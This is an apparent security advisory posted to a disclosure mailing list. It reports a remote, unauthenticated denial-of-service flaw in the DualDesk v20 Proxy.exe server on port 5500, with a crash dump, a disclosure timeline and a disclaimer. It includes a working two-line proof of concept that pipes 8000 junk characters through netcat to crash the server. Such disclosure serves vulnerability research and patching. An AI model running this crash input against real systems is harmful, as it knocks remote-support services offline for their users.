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Date: Thu, 1 Mar 2018 22:26:00 -0500
From: hyp3rlinx <>
Subject: [FD] DualDesk v20 "Proxy.exe" Server / Denial Of Service -

[+] Credits: John Page (aka hyp3rlinx)
[+] Website:
[+] Source:
[+] ISR: Apparition Security


DualDesk v20

DualDesk is powerful, easy to use remote support software that is a
one-time purchase and lets your
technical support staff remote assist a PC anywhere on the internet through
firewalls in seconds with no

Vulnerability Type:
Denial Of Service

CVE Reference:

Security Issue:
Remote unauthenticated attackers can crash the "Proxy.exe" Server component
of Dualdesk application
which listens on TCP Port 5500 by sending a long string of junk chars.

(d24.d60): Security check failure or stack buffer overrun - code c0000409
(first/second chance not available)
eax=00000000 ebx=0257f1c0 ecx=00000000 edx=00000000 esi=00000002
eip=77c6016d esp=0257f170 ebp=0257f20c iopl=0         nv up ei pl zr na pe
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
77c6016d 83c404          add     esp,4

Start the Dualdesk Run Proxy as Application.

C:\>python -c "print 'a'*8000" > crash.txt

C:\>type crash.txt | nc.exe localhost 5500


Network Access:


Disclosure Timeline:
Vendor Notification: February 4, 2018
Second attempt : February 17, 2018
Request CVE, assigned by Mitre : March 1, 2018
March 1, 2018 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).


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